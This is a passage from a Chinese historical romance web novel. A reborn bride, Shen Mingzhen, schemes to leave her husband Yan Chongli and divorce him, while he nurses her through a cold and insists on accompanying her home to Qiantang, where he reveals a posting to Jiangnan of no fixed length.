他声音微顿,手臂越过她,撑在窗沿上,高大身影将她严丝合缝笼罩:“我忽然有些舍不得夫人。” “要不。” “就不走了吧。” 沈明祯闻言,心头重重一跳。 脸上的表情差点没能控制得住,她觉得他莫不是疯了,怎么能如此善变,朝令夕改。 那不行,她不可能一退再退。 但若要明着拒绝,直接提和离一事,她怕自己别说西京了,恐怕连明礼堂都不一定能出得去。 沈明祯垂眸,避开对方灼灼的目光,心脏在胸腔里快速跳动,沉沉浮浮。 留在西京,每多待一日,牵扯的就越多,往后要走只会更不容易。就算是和离,她也希望夫妻一场,能各自都体面些。 “郎君此等提议,也不是不行。” 沈明祯情不自禁往窗沿退了退,直到退无可退:“只不过,阿温听闻我要归家,已早早给家中去过信。” “若是我阿耶阿娘收到信件空欢喜一场,反倒成了我做女儿的不够孝顺。” “我知道郎君顾全大局,更体谅我车途劳顿。” “不如……” 沈明祯连声音都温柔不少:“我早去早回,定然不会叫郎君多等。” 燕崇礼似乎垂眸想了一瞬,薄薄的唇忽然勾出一丝极为浅淡的笑:“也对,夫人所担忧之事,确实很有道理。” 沈明祯眼睛一亮:“郎君这是……” 燕崇礼接过她的话,直截了当道:“不如,我现在让万叔派人快马加鞭,直接把信件拦截在半路上,就不会发生夫人所担忧之事了。” 拦截! 拦截个鬼! 哪来的信件,她随口胡说的。 真的去拦,那她不就穿帮了吗? 做人那么较真干什么。 燕崇礼铁了一颗心,油盐不进,沈明祯心里气得咬牙切齿,脸上还要保持端庄微笑。 “郎君。” “不急,先不着急。” 一双手紧紧地拉住他,格外体贴道:“你也不看看外头,天都黑了,要把先让人摆膳,也不差那一时半会儿的了。” 燕崇礼往外走的动作停了停,还格外贴心地问:“夫人当真不急?” 沈明祯仰头与他对视:“我自是不急,还是让温嬷嬷摆饭吧。” 见燕崇礼应允,她暗暗松了一大口气,心里打定主意,今夜势必要将他留在眼皮子底下,等到明日,她要走,他也没有理由再拦。 两人用过晚膳,沈明祯立刻让温嬷嬷端来花茶,美其名曰消消食。 燕崇礼似乎对花茶很感兴趣,起身的动作一缓,想了想再次留下来。 不知不觉,屋外夜色浓黑,沈明祯感觉自己简直像在熬鹰,燕崇礼总往窗外看,一副随时可以起身去书房的架势。 不行,一定不能放他离开。 今夜本是准备打发他去书房睡的,目前这种情况恐怕是不行的。 沈明祯软了语调,表现新婚妻子该有的羞涩模样:“郎君,天色不早了。” 燕崇礼闻弦而知雅意,薄薄的唇微不可察一勾:“要不,我与夫人一同安置吧。” 虽然很不想睡,内心更是拒绝同床共枕。 但是! 人在屋檐下,不得不低头。 随便吧! 也一张床而已,大不了,再来一杯果子酒灌醉,反正她自己会自动失去记忆。 翌日一早。 沈明祯从温暖的被子里睁开眼睛。 她第一反应是看时辰,确定天色尚早,这才大松一口气。 “阿温。” “屋里的东西可都收 拾好了?” 沈明祯起身,撩开帐幔朝外看。 温嬷嬷苦着一张脸,小心翼翼道:“娘子,昨儿夜里暴雨,西京河道汛情严重,郎君半夜接了急报就出门了,眼下还未归家。” “暴雨?” 沈明祯这才反应过来,屋外淅淅沥沥的雨声好像整夜不曾停歇。 推开窗子朝外看,雨势很大,前庭花坛里都能看到很明显的积水,这种时候别说远行,就算出门都成问题。 也是昏头了,她怎么就忘记了,前世也是新婚不久,西京同样下了一场很大的雨。 这场暴雨会持续数日,而暴雨期间,位于东郊房舍,会因年久失修加上雨水冲刷,造成大面积垮塌,死伤惨重。 想到这里,沈明祯心口猛地一抽。 不行!她不能眼睁睁看着那些无辜的人死去。 如果告诉燕崇礼,他会信吗? 可是除了他,她还能跟谁说。 殿堂高远,她不过是深闺女郎,西京之大,她连熟识的手帕之交都没有。 “郎君有说过何时回吗?”沈明祯走到窗前,不顾温嬷嬷的阻拦,推开的窗子。 小小的一扇支摘窗,窗外暴雨倾盆,潮潮水汽被风吹到脸上,她怔怔地望着天,伸手去接天穹落下的雨滴,像是接住了命运的因果。 温嬷嬷过来给她披衣,轻轻摇头:“郎君夜里走得匆忙,老奴不知。” “眼下雨大风凉,娘子还是离远些,莫要着了寒气。” 透骨的风吹在身上,潮潮的水汽,从四面八方涌上来,沈明祯觉得冷,可她并不想动。 她知道过几日这场暴雨会停,而因为暴雨导致的那一批人,将被永远埋没在地下。 无法预料的事,会遗憾,但她早已知晓的,那就一定能想到办法。 这一刻,似有所感般。 沈明祯抬眸,隔着雨幕,前方月亮门洞下,燕崇礼撑着伞,雨水顺着伞沿落成了珠串,而他高大身躯伫立在那里,也不知站了多久。 两人目光毫无阻隔地撞在一起。 浓重得宛若有实质的眸光,叫人无从躲闪。 沈明祯呼吸乱了,匆匆探身要去关窗。 只是她才有动作,燕崇礼就已经大步走向她。 “怎么站在这里。” “也不怕染了风寒。” “我……”沈明祯张了张嘴,视线冷不伶仃一扫,骤然发现他身上淋了雨不说,肩膀的位置有大片血迹,袖口衣摆上都沾着星星点点的泥水。 “燕崇礼。” “你怎么受伤了?” 沈明祯捂着唇,惊呼一声。 “不碍事。”燕崇礼站在窗前,眼睛被雨水浸得微微眯起。 他看着她,又好像并不是在看她,薄而性感的唇微微张开一点:“泱泱。” 沈明祯一愣,这应该是成婚后,他第一次这样喊她。 嘶哑的声调,满身狼狈,实在说不上浪漫,可他的眼神却格外郑重。 沈明祯细白的手指,不自觉握紧,她在等他接下来的话。 “昨夜西京暴雨,我带人负责东郊一带灾情。” 东郊。 沈明祯呼吸骤然发紧,指尖都攥白了。 燕崇礼看向她,很轻地舒口气:“上天眷顾,在发现房屋垮塌险情前,所有的灾民全部顺利转移,无人生亡。” 沈明祯像失了魂,半天都回不过神。 她耳朵嗡嗡作响,眼睛忽然有一瞬的模糊,连感官都变得迟钝。 是真的吗? 他绝不会拿这种事开玩笑。 “燕崇礼。” “谢谢你。” 沈明祯也不懂,自己怎么就哭了,也许是希望吧。 红红的眼睛,哽得快说不出话。 只是,这一切难不成都是巧合不成? 他为什么会带人负责东郊的灾情,明明前世那场暴雨,他并不在西京。 好在沈明祯没有疑心多久,燕崇礼眼中神色变得柔和:“不用谢我。” “若不是泱泱昨日拉着我品茶闲聊,我应该已经因事离开西京几日。” “是我该谢谢你才对。” “谢我?”沈明祯睁大眼睛,连连摆手否认,“不不不,不必如此。” 她可担不得这天大的功劳,更何况,迟早要和离的,夫妻齐心这种事,也不太适合她。 许是站在风口,染了寒气,她没忍住小声打了个喷嚏。 “哪里不舒服。”燕崇礼的脸色顿时就变了,“温嬷嬷,你去熬姜汤。” “我现在派人去太医署,请医监过来给你把脉。” “郎君。”沈明祯急急拉住他,“我不过小小风寒而已,不碍事的,你身上的伤莫要耽搁了。” 燕崇礼看着她,压下满心戾气,语气很严肃,像是在生气:“沈泱泱,你如果还想回钱塘,就给我好好看病吃药。” 4.沈氏泱泱 这药谁爱吃谁吃,反正她不吃。 沈明祯苦着一张脸,盯着燕崇礼手里那碗漆黑药汁。 “我不喝。” “我没病。” 燕崇礼盯着她,没有半点可商量的余地:“方才诊过脉,风寒入体,郁结不散。” “就算目前看不出病症,那可不可掉以轻心。” 沈明祯摇头,半点也不配合。 “你信汤知节开的方子好,也不信我没病。” “汤知节他就是个庸医。” 半时辰前太医署来人,正好是沈明祯最抵触的医正汤知节。 两人没有梁子,纯属上辈子喝他开的方子,已经喝到想吐。 燕崇礼指尖扣着碗沿,脸上没有表情:“不许胡闹。” 沈明祯抵触地摇头。 “快喝了。”燕崇礼索性在她面前蹲下来,语气很淡,但强势尽显。 “我不要。”沈明祯偏头躲开,抬手去推他手里的药碗。 燕崇礼见她半点不配合,索性俯身抬手,掌心稳稳扣住那一截雪白纤细的后颈,不容她丝毫挣扎躲闪。 胸膛起伏,微凉的唇,强势吻了下去。 不等沈明祯反应,苦涩的药汁已经被男人亲口哺进嘴里,顺着两人紧贴的唇长驱直入,随着舌尖重重扫过的地方,简直无处不在。 他怎么可以这样? 沈明祯闷哼一声,惊得睁大眼睛,红唇被他咬着,舌尖被含住,霸道得像是连呼吸都要吞噬。 他哪里像是在给她喂药,分明是要把她一起吃掉。 反抗不得,最后只能尽数咽下,他给予的所有。 “燕崇礼,你简直混蛋。”一吻结束,沈明祯用手狠狠擦过微肿的嘴唇,泛红的眼尾透显得十分委屈。 然而燕崇礼根本不为所动,喉结滑动,嗓音略哑:“还喝吗?” 沈明祯红着眼睛:“我不……” 燕崇礼直接打断她,挑眉问:“你确定。” 沈明祯:“……” 近在咫尺的距离,他目光幽深平静,捏着她后颈的掌心,没有半点要松开的意思。 她是被他锁定的猎物。 无法拒绝。 “我自己喝。”沈明祯气鼓鼓地接过药碗。 见她乖巧,燕崇礼亲自拿了枚糖渍杏干递过去:“压压苦味。” “我不要。”沈明祯硬气拒绝,更是态度冷淡道,“西京暴雨,郎君要处理的事多,可别在我这儿耽误时辰了。” “阿温,你替我送郎君出门。” 很完美的借口,到底还是给燕崇礼留了颜面。 等人一走,沈明祯急忙朝澜琚招手:“快快快,糖渍杏干呢,寻一块给我压一压嘴里的苦味。” 澜琚傻眼:“方才郎君离开的时候,一整罐都给顺走了。” “……”沈明祯直接傻眼。 一整罐,他吃得明白吗! 入夜,四周安静。 明礼堂早早熄灯,沈明祯不放心,还让澜琚和温嬷嬷两人一起守在外边。 燕崇礼回得晚,见战战兢兢拦在门前的婢女,他神色平静,仿佛早有预料:“夫人睡了?” “是。”澜琚鹌鹑似的点头。 燕崇礼声调平平:“晚膳用了多少,风寒的药喝了吗?” 澜琚心虚看温嬷嬷,她怕自己嘴笨说错话。 温嬷嬷笑了笑,把话说得模棱两可:“娘子怕夜里积食,所以晚膳用得不多,风寒的药也喝过了。” 晚膳用得不多,是因为零嘴吃多了,至于那风寒的药,不过是勉强咽了两口,就被沈明祯拿去浇花了。 燕崇礼没再说什么,眸色压得沉:“我进去看看。” “这……”温嬷嬷一贯信奉新婚夫妻,就该多相处才能培养感情的道理,但沈明祯正在气头上,正犹豫不决要不要拦。 好在屋里的人并没有睡,把外头的话听得清楚。 “郎君今夜还是去书房歇息吧。”不等燕崇礼开口,她声调慢悠悠道,“汤医正说我风寒入体,想必这病气也是会传人的,郎君还是少和我同床共枕得好。” 燕崇礼立在原地,月光落在身上,勾勒出他冷峻的面部轮廓,高大身体大半隐于幽色里,喜怒难辨。 “既然如此。” “那夫人好好休息。” 沈明祯没想到燕崇礼竟然这样好说话,等人走了,她倒是有些无所适从。 温嬷嬷推门进屋,脸上表情不是很赞同,小声劝说道:“依老奴看,郎君温润,对娘子也是体贴纵容。” “只是您这小性子,的确该收一收。” 沈明祯坐起身,抱着被子对温嬷嬷撒娇:“这才几日,阿温就胳膊往外拐了,令我好是伤心。” 温嬷嬷哭笑不得,仔细为她掖紧被角,状似无意提道:“郎君也是关心娘子的身体,老奴刚才瞧见郎君肩上白日才包扎好的伤,依旧渗着血,估摸着又泡了雨水。” “娘子离京在即,对郎君也应该多些关心。” 燕崇礼受伤,汤知节过来诊脉的时候,顺带也一并处理过。 沈明祯一开始没放在心上,现在听温嬷嬷这样说,心里有些犹豫:“那伤,是很严重吗?” “那可不。”温嬷嬷夸大其词,“走的时候,肩上的血止都止不住呢。” 沈明祯顿时于心不忍。 她在家中虽被宠得性子骄纵了些,但心地纯善。 就算对燕崇礼不满,但那也只是他们夫妻之间的恩怨,更何况,他会受伤,也是因为救人。 沈明祯低头,看着自己细白的指尖:“我妆匣里有从钱塘带来的止血消炎药,阿温你只管让澜琚给送过去。” 温嬷嬷笑眯眯应下:“不必麻烦澜琚,老奴亲自替娘子送过去。” * 书房。 小厮祝余守在门外,屏气凝神。 燕崇礼静静地看着手里的小药瓶,和手边摆着的几样点心,想着温嬷嬷离开前说的那番话。 “娘子关心郎君的伤势,夜里辗转难眠,又怕扰了您的清静,所以只让小厨房做了几道清淡的点心。” “还特意叮嘱奴婢,问一问郎君的伤势可有见好。” 送来的东西是她惯用的,但话却不像是她会说的。 燕崇礼盯着青瓷小碟里的透花糍,慢慢勾了嘴角,眼神意味深长。 翌日清早,沈明祯还在睡梦中。 崇文侯府已经尽人皆知,新婚小夫妻闹了矛盾,燕崇昨夜是留在书房安置的。 沈明祯求着温嬷嬷去请了好几次,也没有把人请回去。 至于谁被冷落,自然不言而喻。 正房花厅,崇文侯夫人孟郁芝在用早膳,听小丫鬟绘声绘色描述昨日夜里发生的事情,她作为燕崇礼的生母,听到儿子在书房过夜,哪有不心疼的。 “早晨呢,有让人去送早膳吗?”孟郁芝不紧不慢搅着碗里的羹汤。 小丫鬟摇头:“少夫人还睡着呢。” “……”孟郁芝闻言,顿时气狠了,是一口也吃不下去。 都什么时辰了,竟然还睡着,谁家新妇像她这般任性妄为。 认亲那日,让一群人饿着肚子等到晌午都没出现,现在想想她都觉得面上无光。 孟郁芝正愁找不到机会敲打对方,她当即搁下碗筷,对一旁的嬷嬷吩咐:“替我换身衣服,我得去明礼堂看看,钱塘沈氏娇滴滴的小娘子,到底能有多嚣张。” 周嬷嬷犹豫,她想到敬茶那日燕崇礼对整个侯府上下那一番敲打,别说是夫人的面子,就连侯爷也都是饿着肚子在正院等。 就差把侯府的规矩和脸面都踩在地上。 “夫人,郎君的脾气您又不是不知。”周嬷嬷小声劝。 孟郁芝不这样想:“她都去书房求人了,可见是理亏。” “二郎若不替她撑着腰,这侯府的规矩,她自然是要守着的。” 周嬷嬷总觉得事情有些不太对,谁家占理的,会半夜去睡书房啊。 孟郁芝带着人,半路遇上了过来复诊,正准备回去的汤知节。 “汤医正怎么有空过来?” 汤知节提着药箱,唉声叹气:“嫂夫人偶感风寒,崇礼让我早中晚都得来把一次脉。” 孟郁芝点头,看着汤知节远去的背影,越发不对劲。 她看向周嬷嬷,不确定地问:“二郎不是被落了脸面去睡书房了?怎么还上赶着叫人去把脉?” 周嬷嬷头垂着低,声音干巴巴道:“万一是郎君被少夫人扫地出门,去书房安置呢?” “真的假的?”孟郁芝一下子紧张起来。 周嬷嬷扯了扯嘴角:“依老奴看,至少有八成可能。” 孟郁芝顿时觉得事情不妙,儿子愿意纵容她当什么搅屎棍:“那回去,回去!我们赶紧回去。” 燕崇礼近来性情大变,本就不亲近的母子关系,更是摇摇欲坠,她可不能再火上浇油了。 偏偏怕什么,就来什么。 “母亲这是去哪儿?”燕崇礼语气平缓,薄薄的唇却抿得紧紧的。 “额……”孟郁芝不敢与之对视,“我也就是闲着无事,四下逛逛。” “是吗?”燕崇礼眼神渐渐变得危险,“母亲倒是有闲情逸致。” “母亲想去明礼堂做什么?”燕崇礼又问。 孟郁芝笑不出来,因为她是想去明礼堂找麻烦。 燕崇礼垂眸看她,透着几分冷:“母亲若闲来无事就多抄抄佛经吧。” “泱泱身子弱,见不得生人,不必亲自去见她,免得过了病气,传染给她。” “您往后有什么话,直接让人和我说。” 孟郁芝僵着脸,气得心口起伏。 到底是 谁生病! 谁传染给谁。 她孟郁芝是瘟疫吗? 燕崇礼说完,也不等孟郁芝的反应,望向一旁白着脸的周嬷嬷:“嬷嬷是母亲身旁的老人,母亲糊涂的时候,你也应该劝着些。” “若是嬷嬷也跟着糊涂,那就告老还乡吧。” 周嬷嬷闻言简直吓死,身体微抖:“是,郎君说的老奴都记下了。” 燕崇礼眉梢压着,明明很温润的模样,可周身像是萦绕着一层寒意:“母亲若无事,儿子就先行告退。” 孟郁芝盯着燕崇礼的背影,和周嬷嬷小声道:“他至于这样吗,护得跟眼珠子似的,我什么都没做,倒成了那恶人。” …… 沈明祯不知道外头发生的事,她正忙着让人收拾行李。 见燕崇礼回屋,手里端着那个熟悉的药碗,她顿觉得大事不妙。 “我已经快好了。”她声音很小,故作镇定。 燕崇礼固执己见:“汤知节说这药你得连着喝三日,今天才第二日。” 汤知节就是一个祸害。 沈明祯默默在心里记上一笔,还不忘讨价还价:“我能只喝半碗吗?” 燕崇礼站着没动,他逆光站着,看不清脸上神色:“泱泱,我不介意亲自喂你。” 又开始了!又开始了! 沈明祯拿眼神瞪他,她就想不明白了,这人怎么有喜欢逼人喝药的毛病呢。 前世是这样,现在也是这样。 哦,也对。 也许,他娶她又不是因为喜欢,她都差点忘了,他心里有白月光这事了。 所以大抵是利益联姻,并不喜欢她。 喝药,就是因为他想这样子折磨她。 沈明祯后知后觉,原来自己发现了天大的秘密。 见沈明祯不情不愿,燕崇礼叹了口气:“等病好了,就让你回钱塘。” 说的什么话,风寒不好就不能回钱塘,腿长在她自己身上。 沈明祯不情不愿接过药碗,天人交战。 一会儿想着,还是喝了吧,反正眼睛一闭,咕咚咕咚就完了。 等药碗端进,苦涩药味扑鼻,她眼睫眨了眨,或者趁他不注意,转头就泼掉? 沈明祯犹犹豫豫:“郎君,你能去外间给我端一碟糖渍梅子吗?” 燕崇礼嘴角带着冷意,目光很轻地落在她身上:“糖渍梅子,夫人打算把药汁倒哪里呢?” “临窗的梅花盆栽,窗子外头杏花树下,还是偷偷往茶水壶一倒,神不知鬼不觉。” 沈明祯就像被人踩着尾巴的猫,浑身都紧绷起来:“郎君莫胡说,我没有。” 燕崇礼点头,顺势往那梅花里捻些许泥土放在手心闻了闻:“昨夜那一碗,夫人没喝几口吧。” “既然如此,后日再补一天。” 沈明祯:“……”他是狗鼻子吗。 一连七八日后,西京雨停。 沈明祯风寒终于痊愈,送瘟神一样把汤知节送走,她迫不及待喊人收拾东西。 清早,数辆马车停在崇文侯府门前。 丫鬟仆妇正忙前忙后往车厢里放东西。 温嬷嬷没想到燕崇礼这般纵容,节礼准备得多不说,路上用的一应要用到的物品都提前准备了双份。 沈明祯喜滋滋看着一箱箱东西往马车里抬,看着看着,她忽然觉得不对劲。 燕崇礼的小厮祝余怎么也混在人群里,他忙前忙后拿的都是什么东西,有些箱子看起来很陌生,根本不是她的。 越看越觉得那一车车箱子十分不妥。 “阿温,祝余在干嘛?”沈明祯问。 温嬷嬷理所应当:“搬东西啊。” 沈明祯:“谁的东西?” 温嬷嬷笑了笑:“郎君的。” 她回家,他搬什么东西。 打头的马车,车帘被挑开,燕崇礼盯着那抹姣美背影,眼底似有暗流在无声汹涌:“夫人愣着做什么,怎么还不上车?” 沈明祯僵硬回头,心口突突地跳,她笑得勉强:“郎君怎么在我的马上。” 燕崇礼面露不解,甚至可以说得上无辜:“夫人归家,难道我不一起?” “一起?”沈明祯不想面对现实,自欺欺人道,“原来郎君是要送我一程,不必这样客气,呵呵。” 燕崇礼听完她的话,慢慢敛了唇角的笑意,英俊的眉眼蕴着深意:“夫人说得对。” “你我是夫妻,自然不必像外人那样客气。” “夫人快上车吧。” “我与夫人一同归家。” 沈明祯:“?” 他那性感的嘴巴一张一合在说什么,她怎么一个字都听不懂? 她回家。 关他燕崇礼什么事? 还一同? 等着她阿兄把他大卸八块,然后沉塘吗? 5.潮生潮落 “怎么能和我一同归家。” “郎君怪会开玩笑的。” 沈明祯心里干着急,当着他的面,又不敢表现得太过明显,免得露了心思。 马车驶离,车轮碾压过青石板。 “我何时与夫人开过这样的玩笑。”燕崇礼抬手挑开车帘,挂在小窗上的流苏鸳鸯花结,随着他的动作微微晃动。 抬眸远眺,春明门近在眼前,马上就要出城了。 “可是……”沈明祯紧张地攥着手里的帕子,一颗心高高悬着,“我知郎君担心我这一路安危,但如今世道太平,又带有百来护卫。” “千不该万不该,耽误了您在朝中的差事。” “所以郎君不如就此下车,也替我回府和二老告罪。” 燕崇礼看着她,沉默许久。 就在沈明祯以为,他已经被她说动的时候,男人慢慢朝她俯近。 他凝着她的眼睛,一字一句,沉甸甸的视线,嗓音低低却透着前所未有的强势:“我与夫人新婚,正是培养感情的时候,怎能如此仓促分开。” “难不成……”燕崇礼顿了顿。 沈明祯对上那压人的目光,心口狂跳不止。 果然,他盯着她,不容置喙提出疑问:“夫人难不成恼我、厌我,以至于要想方设法离开我?” “所以才万般不愿我相送?” 车厢一瞬间死寂,暗潮汹涌。 沈明祯倒吸一口凉气,差点没有克制住惊呼出声。 难不成是她表现得太过急切,被他察觉到了? 眼下才刚出城,还没驶离京郊呢,燕崇礼要是不愿意,别说是马车了,就算是步行,扛都能给她扛回去。 不行不行! 不能自乱阵脚。 越是关键的时候,越要沉得住气。 心绪翻涌,沈明祯强压着心虚,抬眸迎上男人探究的视线,连语调都刻意温柔许多:“绝对没有,郎君误会我了。” “当真没有?”燕崇礼看着她,自上而下的威压,脸上表情依旧透着几分犹疑。 沈明祯暗暗咬牙,手里的帕子都快被她绞烂。 可不能半途而废,必须把人哄住。 大不了等上了洛阳官道,她再想办法摆脱他也不迟。 “没有。”她朝他浅浅一笑,更是主动贴近,柔软的小手握住燕崇礼宽大干燥的掌心:“新婚宴尔,礼法在前,我与郎君婚后简直说得上如胶似漆。” “此番归家,我是万般舍不得的。” “只是如此任性,难免心上难安,才劝你不必千里相送。” 燕崇礼反手握住她,拇指指腹怜惜似的在她手心摩挲,深邃狭长的凤眸蕴着光,勾起的薄唇字字笃定:“我就知道夫人爱我、怜我,以至于万分舍不得我。” 沈明祯:“……” 谁说的! 她方才那一番话,有这样夸大其词吗? 沿官道东行,过扬州后,由陆改水运,沿着江南河道就可以直抵钱塘。 出嫁时,还未开春,河道并未解封。 送亲的队伍只能走陆路。 这一次归家,比沈明祯预想的足足快了近一个月的时间。 五月末,仲夏尾声?。 沈明祯一行人,在?小暑前后抵达钱塘沈家。 至于燕崇礼,只要沈明祯胆敢试探叫他回去,这个男人必定要以夫妻恩爱为说辞。 以至于她在两个多月里,想方设法,都没能说服燕崇礼一星半点。 临近傍晚,近百余人的车队在沈氏大宅前停下。 近乡情怯。 属于故人的声音,前尘往事,像是大梦一场。 沈明祯坐在马车里,听着外边传来的清晰说话声,一时间,她竟有些不敢下车。 曾经亲人离去,那些刻骨铭心的痛,以至于她但凡想起,都会手脚发麻喘不上气。 “泱泱。” “我们回家了。”燕崇礼单手挑着车帘,朝她伸出骨节分明的掌心。 真的是回家了吗? 沈明祯怔怔着,终于鼓起勇气,覆上燕崇礼的手。 他站在金色的夕阳下,像镀了一层朦胧的金边,而她困于昏暗马车中。 燕崇礼手腕用力,轻轻一扯。 裙摆蹁跹飞扬,沈明祯被他牢牢带入怀中。 摇摇欲坠的情绪,无法说出口的想念,千般酸涩堵在喉咙里。 能再次跨越生死,与亲人重逢,本就是一场妄求不得的幸事。 眼底瞬间潮热。 但她不能哭。 沈明祯这一刻,放任自己用力埋进燕崇礼宽阔的胸膛里,肩膀微微颤抖,连流泪都是那样小心翼翼。 “泱泱……”燕崇礼身形微僵,悬在半空中的手臂,竟有些不敢落下。 最终,他稳稳将她兜住,掌心轻轻摸了摸她的脑袋,以作安慰。 泪水穿过薄薄的衣料,一滴一滴,滚烫灼人,仿若是把他的皮肉筋骨凿穿。 “这孩子,怎么还害羞呢。”沈母完颜清嘉看着女儿,推了一下身旁的丈夫沈敬川。 “我没有哭。”沈明祯吸吸鼻子,闷声闷气解释,“只是风太大了,吹了眼睛。” 完颜清嘉也不点破,笑眯眯点头:“好了,阿娘知晓外头风大,这孩子想必是累了。” “那就劳烦崇礼,快把泱泱抱回她院子里。” “你们夫妻这一路也辛苦,先洗漱,晚上再与我们一同用膳。” 什么抱回去? 阿娘难道看不出来他们夫妻关系冷漠疏离吗? 沈明祯暗道不好,她怎么能情绪上头,表现得同他如此亲密。 “燕崇礼你先放开我。”沈明祯暗暗用手去退他的肩膀。 然而…… 燕崇礼根本不为所动,手臂用力,把她打横抱起。 在父母兄长暧昧的注视下,沈明祯用尽浑身力气,依旧被他牢牢锁在怀中。 入夜,一行人用过晚膳。 沈明祯等二位兄长把燕崇礼支走后,她拉着完颜清嘉的手,先是撒娇一番,然后仰着头,亮晶晶的眼里,漆黑的瞳孔,像藏着倾泻而下的银河。 “阿娘。” “你最与阿耶最疼惜我了对不对。”沈明祯问。 完颜清嘉拉着女儿的手,仔仔细细观察,这一路上想必是没有受苦的,面色红润不说,比出嫁前好像还胖了些许。 可见在西京,吃穿用度,全都合她的喜好:“不疼你,还能疼谁?” “你的两位阿兄都未娶妻,我们整个沈氏也就得了你这一个独苗苗的女郎。” 话是这个道理,作为钱塘的明珠,她任性妄为一些,应该也无妨。 所以沈明祯深吸一口气,放出一个大大的惊雷:“阿娘,我和燕崇礼过不下去了,我想和离归家。” “我想阿娘和阿耶如此疼爱我,一定会同意的对不对。” “明日就让燕崇礼回西京吧,你们是长辈,他素有规矩,定不敢忤逆长辈。” 完颜清嘉呛了一口茶水,表情倒是没有很惊讶:“和离?” 她叹气,无奈点了点沈明祯的脑门:“我就知道,你这孩子尽是打这种糊涂的主意。” 沈明祯双手捂着额头,可怜兮兮:“您和阿耶会同意的对不对?” “我与他毫无感情可言,西京的饭菜我用不惯,气候也过于干燥,崇文侯府更是规矩多得像山一样,婆母也不好相处。” “家中如此疼惜我,定见不得我受委屈的。” 完颜清嘉看着沈明祯,忽然压低声音:“这些都不是借口,说说吧,为什么要和离?” 她用只有母女二人才能听清的声音问:“你还小,有些事情不懂。” “我听阿温说了,你那郎君可能在夫妻生活方面,可能有些过了,但这是好事。” “你与他新婚,不适应也是人之常情。” “不可因为这点小事就任性,我瞧着燕家郎君是个好的,待你也足够体贴入微。” 这都是什么跟什么啊? 沈明祯声音抖了抖:“这……这都是阿温说的?” 完颜清嘉点头:“我知道你作为女郎,脸皮薄,等时日久了也 就慢慢适应,和离的事莫要再提了,我和你阿耶不会同意的。” “你若真的不适应,大不了我想法子私下提点一番,让他稍稍克制。” 沈明祯张了张嘴,发现根本无从解释。 阿温在信中到底说了什么,母亲怎么会如此笃定她是因为这种事要和离啊。 “阿娘……” “您听我解释。”沈明祯不死心。 完颜清嘉:“有什么好解释的,天色不早,泱泱早些回屋休息。” 沈明祯杀人的心都有了,她本以为只要回了钱塘,就能顺利和离。 可现在,看母亲的意思,只当她是一时想不起,纵着性子胡闹而已。 现在燕崇礼还在钱塘,她更不能贸然让他察觉到她的心思,不然情况根本不利于她,恐怕一切都得从长计议。 回屋这一路上,沈明祯反反复复地想。 最后很庆幸他在西京有官职,就算离京,肯定也没有那么久的假期,在钱塘待不了几日,燕崇礼必须得快马加鞭赶回朝中。 只要等人回去,他又能拿她如何。 稳住他,把人哄回去,等尘埃落定,就一切万事大吉。 沈明祯想通,美滋滋回到屋里。 好巧不巧看到刚沐浴出来的燕崇礼。 宽阔的肩膀,浑身水汽,水珠顺着胸膛滑落,薄薄的里衣,水痕很重,已经把布料湿透,里面的春色,简直若有若无。 沈明祯心情好,告诫自己再忍几日,就看谁沉不住气,谁耗不起。 “夫人可要沐浴?”燕崇礼单手拿布巾擦头发,随着手臂抬起的动作,胸膛大片大片的肌肤,春光无限。 沈明祯笑眯眯走向他,细白的手指拉着里衣一角,对上男人幽黑的视线,不为所动:“好好穿衣服,宽衣解带像什么话。” 燕崇礼:“……” 她说完,头也不抬离开。 脚步走得快,甚至有些急切。 在燕崇礼看不到的地方,暗暗吸口气,幸好避得快,他沐浴出来的模样,这也太秀色可餐了些,也不知他是无意,还是引诱。 应该是无意吧,哪有人把引诱做得这样明目张胆。 时间过得快,转眼五六日后。 沈明祯发现燕崇礼一点要走的意思都没有,反而是把家里的人哄得明明白白。 清晨,天蒙蒙亮的时候。 燕崇礼已经陪父亲在府里练剑。 等天色大亮,她还在睡觉的时候。 燕崇礼给阿娘请安,一起用早膳。 好不容易,她睡醒起来。 燕崇礼在和大哥下棋,下棋就算了,连易经也略懂,和家中二哥这种闷葫芦罐子都相处得好。 到后来,别说是人,府里看家护院的大黄看见他,都得把尾巴摇成风车。 沈明祯越等越急,暗暗想不能再这样下去,燕崇礼再住下去,他莫不是都快姓沈了。 阿耶聚会带上他,恐怕过不了多久,整个钱塘的人都会知道,阿耶多了一个好“儿子”。 当天晚上,沈明祯看着燕崇礼。 “郎君,我想了许久。” “虽然我舍不得您。” 但时日渐久,您也应该快些回西京,不该这样不思进取,荒废时光,郎君可是崇文侯府世子,担负着家族大任。 燕崇礼点头,薄薄的唇勾起“我觉得泱泱说得没错,我也知道泱泱心里有我。” 沈明祯不敢看他,心里着急,不住祈祷,既然知道,那赶紧回去吧。 燕崇礼看着她,慢慢从怀中掏出了一纸调令:御史中丞 “夫人恐怕不知。” “我是奉旨出使江南。” “从未荒废时光。”核查贪官,可以弹劾杭州刺史一级官员。 沈明祯声音颤抖:“郎君你说什么?御史中丞?” “那不知,要在江南待多久?” 燕崇礼,看着她:“圣上特旨,归期不定。” 归期不定。 这句话,像一道惊雷。 怎么可能? 他疯了不成。 6.容氏三郎 燕崇礼疯没疯她不知道,但是沈明祯已经快疯了。 憋着一股郁气,无处发泄,仅剩不多的理智岌岌可危。 她怎么也想不明白,前世这几年,宫中的形势并不明朗,太子身份饱受质疑,圣人身子每况愈下,这种时候燕崇礼奉旨离京,崇文侯府那群冥顽不化的老古板,究竟是怎么同意的! 沈明祯越想越气,那股劲憋得她眼尾泛开一片胭脂似的红,一层薄薄的水雾坠在眼睫上,是怒意强压出来的湿气。 看着像哭,其实只是情绪使然。 燕崇礼抬手,掌心的温度朝她覆下,用不容挣脱的力道,托着她的脸颊,拇指上移,指腹缓缓擦过她泛红的眼睑。 他薄唇扬起一点弧度,语调低缓:“怎么哭了呢?” “是因为爱我至深,所以感动哭了,对吗?” 到底是谁在感动啊? 明明是快气哭了,好不好! 这种没有眼力见的郎君,怎么会有女郎愿意嫁给他呢? 哦~ 原来她就是那倒霉的女郎。 沈明祯恨恨地想。 算了! 走一步看一步吧。 眼下再气又能怎么样,总不能真人让阿兄把人大卸八块沉塘吧。 “我累了。” “郎君也早些安置吧。”沈明祯一下子失去所有的力气和手段,焉哒哒像霜打了的茄子。 她偏过头,想避开他的触碰,可偏偏他手上力气极大,牢牢把她圈住,挣不动,更逃不开。 “夫人是因我而哭吗?”燕崇礼目光牢牢锁着沈明祯,语调不凶,乃至说得上怜惜。 他不问这些还好,可偏偏他一副刨根问底的架势。 